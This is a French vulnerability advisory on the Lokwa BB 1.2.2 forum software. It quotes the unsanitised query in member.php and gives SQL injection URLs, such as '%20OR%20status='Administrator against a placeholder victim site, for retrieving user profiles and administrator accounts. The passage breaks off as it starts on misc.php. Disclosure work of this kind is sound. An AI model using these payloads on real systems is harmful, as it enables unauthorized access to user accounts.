Lokwa BB ******** Produit : ********* Lokwa BB http://lokwa.farcom.com/ Version : ********* 1.2.2 Date : ****** 07 Juin 2002 Problèmes : *********** - XSS - Lecture de tout les messages privés - Injection SQL Developpement : *************** Commençons par les failles SQL. On peut voir dans member.php, pour l'affichage du profil : ----------------------------------------------------------------------------------------------- [...] if($action == "viewpro") { if(!$member) { [...] } else { $query = mysql_query("SELECT * FROM lokwa_users WHERE username='$member'") or die(mysql_error()); $memberinfo = mysql_fetch_array($query); [...] ----------------------------------------------------------------------------------------------- Une url normale pour afficher un profil serait donc : http://www.site.com/member.php?action=viewpro&member=PSEUDO On peut voir qu'il n'y a aucune vérification sur la valeur de $member, on peut donc changer la requête SQL comme on le désire. Par exemple, pour afficher un profil à partir de son mot de passe, on tapera l'url : http://www.victime.com/member.php?action=viewpro&member='%20OR%20password='PASSWORD Ce qui nous donnera la requête SQL : SELECT * FROM lokwa_users WHERE username='' OR password='PASSWORD' On pourrait donc cracker non pas un compte, mais tout les comptes inscrit à ce service en même temps. On peut aussi par exemple l'utiliser pour afficher : - L'administrateur (Administrator) - Le dernier modérateur (Moderator) - Le dernier modérateur de catégorie (Category Moderateur) ou encore Banner, Member ou Junior Member en utilisant la partie status de la table lokwa_users, grâve à cette url : http://www.victime.com/member.php?action=viewpro&member='%20OR%20status='Administrator ce qui donnera la requête SQL : SELECT * FROM lokwa_users WHERE username='' OR status='Administrator' On a le même résultat avec misc.php : ----------------------------------------------------------------------------------------------- if($action == "forgot") { [...]